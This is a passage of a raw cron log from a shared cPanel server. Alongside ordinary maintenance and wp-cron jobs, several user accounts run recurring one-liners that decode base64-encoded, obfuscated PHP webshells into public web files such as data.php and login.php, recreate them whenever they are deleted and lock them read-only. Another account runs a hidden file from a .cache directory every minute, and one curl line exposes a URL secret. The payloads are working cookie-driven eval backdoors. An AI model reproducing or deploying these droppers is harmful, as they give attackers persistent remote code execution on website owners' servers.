lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:11:01 medusa CROND[10623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:12:01 medusa CROND[31483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:12:02 medusa CROND[31593]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:12:02 medusa CROND[31594]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:12:02 medusa CROND[31595]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:12:02 medusa CROND[31596]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:12:02 medusa CROND[31598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:12:02 medusa CROND[31599]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 17:12:02 medusa CROND[31602]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 17:12:02 medusa CROND[31603]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:12:02 medusa CROND[31604]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:12:02 medusa CROND[31605]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:12:02 medusa CROND[31606]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:12:02 medusa CROND[31607]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:12:02 medusa CROND[31617]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:13:01 medusa CROND[20478]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 17:13:01 medusa CROND[20479]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:13:01 medusa CROND[20481]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:13:01 medusa CROND[20482]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:13:01 medusa CROND[20485]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:13:01 medusa CROND[20487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:13:01 medusa CROND[20491]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:13:01 medusa CROND[20489]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:13:01 medusa CROND[20494]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:13:01 medusa CROND[20483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:13:01 medusa CROND[20496]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:13:01 medusa CROND[20497]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 17:13:01 medusa CROND[20505]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 17:13:01 medusa CROND[20512]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:14:01 medusa CROND[9225]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:14:01 medusa CROND[9320]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:14:01 medusa CROND[9321]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:14:01 medusa CROND[9322]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:14:01 medusa CROND[9323]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
